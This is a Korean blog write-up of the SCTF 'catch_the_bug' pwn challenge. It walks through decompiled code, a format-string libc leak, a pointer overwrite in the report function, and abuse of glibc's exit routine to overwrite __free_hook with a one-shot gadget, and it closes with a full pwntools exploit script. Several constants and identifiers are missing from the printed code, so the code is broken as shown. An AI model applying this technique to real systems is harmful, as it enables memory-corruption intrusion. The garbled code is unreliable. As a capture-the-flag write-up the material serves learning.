ipwn

[SCTF] catch_the_bug (exit 내부 루틴으로 exploit 하기) 본문

CTF's/SCTF

[SCTF] catch_the_bug (exit 내부 루틴으로 exploit 하기)

ipwn 2019. 3. 6. 02:56

SCTF 할 당시에는 풀어볼 엄두도 못내고 그냥 놨던 문제인데, 다시 한 번 풀어봤다.



Mitigation


[*] '/home/agh04140/pwn/SCTF/catch_the_bug/bug'

    Arch:     amd64-64-little

    RELRO:    Full RELRO

    Stack:    Canary found

    NX:       NX enabled

    PIE:      PIE enabled


모든 미티게이션이 걸려있다.



Analyzing


void __fastcall main()
{
  int v0; // eax
 
  setup();
  banner();
  while ( )
  {
    while ( )
    {
      while ( )
      {
        menu();
        v0 = read_int();
        if ( v0 != )
          break;
        catch_bug();
      }
      if ( v0 > )
        break;
      if ( !v0 )
        return;
LABEL_12:
      puts("Illegal menu");
    }
    if ( v0 != )
      break;
    view();
  }
  if ( v0 != )
    goto LABEL_12;
  report();
}



메인에서 input받고 input값에 따라서 각 함수들을 실행해주는 것을 확인할 수 있다.


하나하나 천천히 살펴보자.


void __cdecl catch_bug()
{
  signed int i; // [rsp+8h] [rbp-8h]
  unsigned int v1; // [rsp+Ch] [rbp-4h]
 
  v1 = rand() & 3;
  if ( cnt <= //cnt는 전역변수
  {
    printf("Finding the bug");
    for ( i = 0; i <= 2++i )
    {
      putchar('.');
      sleep(1u);
    }
    puts(&byte_1EA2);
    if ( v1 == )
    {
      puts("There is no bug =(");
    }
    else
    {
      puts("You have caught a bug!");
      puts(&byte_1EA2);
      printf(&bug_ascii[512 * v1]);
      puts(&byte_1EA2);
      puts("Name the bug");
      printf(">> ");
      read_buf(bug_info[cnt].name, 4);
      bug_info[cnt++].type = v1;
    }
  }
  else
  {
    puts("Your bag is full!");
  }
}



그냥 단순히 bug_type을 확인하고 bug를 잡아서 이름을 지어주고 그 값을 bss에 담는데 총 3번 가능하게 만들어놨다.


void __fastcall view()
{
  int i; // [rsp+Ch] [rbp-4h]
 
  if ( cnt )
  {
    for ( i = 0; i < cnt; ++i )
    {
      puts("=========================");
      printf(bug_info[i].name);                 // fsb
      puts(&byte_1EA2);
      printf(&bug_ascii[512 * bug_info[i].type]);// fsb
      puts(&byte_1EA2);
    }
    puts("=========================");
  }
  else
  {
    puts("You did not find any bugs!");
  }
}



이제 view함수를 볼 건데 printf의 첫 인자로 bug_info[i].name을 받는 걸 보아 FSB가 터지는 것을 확인할 수 있다.


그 밑의 printf도 format string 없이 첫 인자로 값을 받긴 하는데, 임의의 input을 박아줄 수 없음으로 패스


void __fastcall report()
{
  char *v0; // rbx
  int i; // [rsp+Ch] [rbp-14h]
 
  puts("Submit a report about your work");
  puts("Report title");
  title += read_buf(title, 0x40);
  puts("Report subtitle");
  title += read_buf(title, 0x80);
  for ( i = 0; i < cnt; ++i )
  {
    *title = *bug_info[i].name;
    title += 8;
    strcpy(title, &bug_ascii[512 * bug_info[i].type]);
    v0 = title;
    title = &v0[strlen(&bug_ascii[512 * bug_info[i].type])];
  }
  puts("Report body");
  title += read_buf(title, 0x100);              // 이 부분에서 title 포인터랑 pw 포인터를 덮어야 할 듯
  puts("Report tag");
  title += read_buf(title, 8);
  puts("Report password");
  read_buf(pw, 8);
}



이제 report함수를 보자.


title와 pw는 bss를 가리키는 char형 포인터인데 title에 입력을 받음과 동시에 계속 값을 더해주는 루틴과 버퍼의 메모리 공간의 모자람에 의해서 title과 pw의 포인터를 덮어줄 수 있게 된다.


이제 분석이 다 끝났으니 시나리오를 세워보자.



Scenario



1. printf(bug_info[i].name);에서 발생하는 fsb를 통해 libc leak

2. report함수에서 발생하는 aaw를 통해 exploit을 진행


대충 본다면 이렇게 간단하게 답이 나오지만 대답은 how to? 이다.


왜냐하면 aaw가 주어진다고 한들 full relro가 걸려있어서 got overwrite는 물론 fini_array도 못 덮기에 방법이 난해하기 때문이다.


그럼 어떻게 exploit을 진행해야 할까?


(우분투 16.04 기준) main함수가 종료되면 __libc_start_main + 240으로 eip가 옮겨지는데, 그 곳을 따라가다 보면 exit함수를 호출한다.


그렇다면 생각 할 수 있는 방법은 aaw를 통해 어떠한 위치를 어떠한 값으로 덮어주면 exit의 루틴에 의해서 shell이 따이지 않을까?라고 생각해볼 수 있을 것이다.


그래서 gdb로 따라가보니 __exit_funcs를 인자 값으로 받아와서 exit를 핸들링하기에 __exit_funcs의 값을 원샷으로 덮어봤지만 그냥 에러를 뿜고 죽을 뿐이었다.


그래서 exit.c를 분석해봤다. (길지도 않고 나름 재미있었따.)


 . . .
 
 *listp = cur->next;
      if (*listp != NULL)
        /* Don't free the last element in the chain, this is the statically
           allocate element.  */
        free (cur);
 
. . .



놀랍게도 exit의 내부 루틴에는 free를 시키는 루틴이 있는 걸 확인할 수 있었다.

그리고 또 aaw가 딱 2번 주어지기 때문에 __free_hook 을 system이나 one_shot으로 덮고 또 어딘가를 덮어서 exit의 루틴들을 잘 우회해서 free시켜라! 라는 의도가 보이는 것 같은 문제였다.

그래서 맨 처음부분부터 다시 분석을 해 봤다.

struct exit_function_list
  {
    struct exit_function_list *next;
    size_t idx;
    struct exit_function fns[32];
  };



가장 먼저 아까 덮었던 __exit_funcs 부분은 위 구조체의 더블 포인터인 것을 확인할 수 있었다.

cur = *listp;
    if (cur == NULL)
    {
    /* Exit processing complete.  We will not allow any more
    atexit/on_exit registrations.  */
     __exit_funcs_done = true;
        __libc_lock_unlock (__exit_funcs_lock);
        break;
}

while (cur->idx > 0) { 
. . .
}



그 다음의 이 부분이 거의 맨 처음 부분인데, 아까 말한 __exit_funcs를 참조한 값(exit_function_list*)cur변수에 담고 그 값이 null인지 확인한다.


그 다음에 널이 아니라면 cur -> idx > 0 인지 체크한 다음 맞다면 while문을 도는데 이 부분은 루틴이 굉장히 복잡해서 최대한 피해야하겠구나 생각이 들었다.


그 다음 while 루틴을 우회 한 다음의 부분이 바로 아까의 free의 루틴으로 들어가는 부분이다.


cur->next에 어떤 값이든 값이 존재한다면 free(cur->next)를 시킬 수 있다는 것을 확인할 수 있었다.


그래서 처음에 생각한 방식은 __exit_funcs를 참조하면 initial이라는 exit_function_list구조체가 나오는데, 그 부분의 next 요소를 "/bin/sh"의 주소로 덮고 free_hook을 system으로 덮으면 되겠다는 생각이 들었는데 *(initial + 8)의 값이 1로 기본 세팅이 되어있어서, free를 실행이 불가능 하다는 점을 깨달았다.


그래서 그 다음에 생각한 방법은 free_hook을 원샷으로 덮고 대충 free할 수 있게 루틴만 맞춰주면 아다리로 원샷 한 개는 맞겠지라는 방법이었다.


그래서 *(initial + 8)부분을 0으로 세팅하고 *(initial)부분을 아무 값이나 집어넣고 free_hook을 원샷으로 덮었더니 두 번만에 쉘이 따였다.



Exploit



from pwn import *
 
= process('./bug')
= ELF('./bug')
 
cnt = 0
 
sla = p.sendlineafter
sa = p.sendafter
 
def report(title, sub, body, tag, pw):
    sa('>> ''3')
    sa('title', title)
    sa('subtitle', sub)
    sa('body', body)
    sa('tag', tag)
    sa('password', pw)
 
def add(name):
    global cnt
    sa('>> ''1')
    p.recvline()
    buf = p.recvline()
    if 'There is no bug =(' in buf:
        return
    sa('>> ', name)
    cnt += 1
    log.success('%d.bug success!'%cnt)
 
def view():
    sa('>> ''2')
 
while cnt != 3:
    add('%p\n')
 
view()
p.recvuntil('=========================\n')
 
libc_base = int(p.recvuntil('\n'),16- 0x3c56a3
initial = libc_base + 0x3c5c40
system = libc_base + 0x45390
one_shot = libc_base + 0x4526a
free_hook = libc_base + 0x3c67a8
binsh = libc_base + 0x18cd57
 
log.info('libc_base : 0x%x'%libc_base)
 
b_len = []
bug = []
buf = []
l_sum = 0
bug.append(p.recvuntil('=========================\n'))
 
for i in range(2):
    p.recvuntil('\n')
    bug.append(p.recvuntil('=========================\n'))
 
for i in range(3):
    buf.append(bug[i][:-27])
 
for i in range(len(bug)):
    if bug[i][178== '<':
        b_len.append(len(buf[i]))
    elif bug[i][178== '@':
        b_len.append(len(buf[i]))
    else:
        b_len.append(len(buf[i]))
 
for i in range(3):
    log.info(('{}.len : 0x%x'%b_len[i]).format(str(i)))
    l_sum += b_len[i] + 8
l_sum = 0x708 - l_sum
log.info('sum : 0x%x'%l_sum)
 
overwrite= 'C'*(l_sum - 0xc0)
o_len = len(overwrite)
overwrite += p64(initial - o_len - - - + 1+ p64(free_hook)
report('A'*0x40'B'*0x80, overwrite + '\n', p64(binsh), p64(one_shot))
 
p.interactive()



벌레들마다 존재하는 아스키아트의 길이를 구하는 것 빼면 정말 재미있던 문제였다.

'CTF's > SCTF' 카테고리의 다른 글

[SCTF] noleak  (0) 2019.03.08
Comments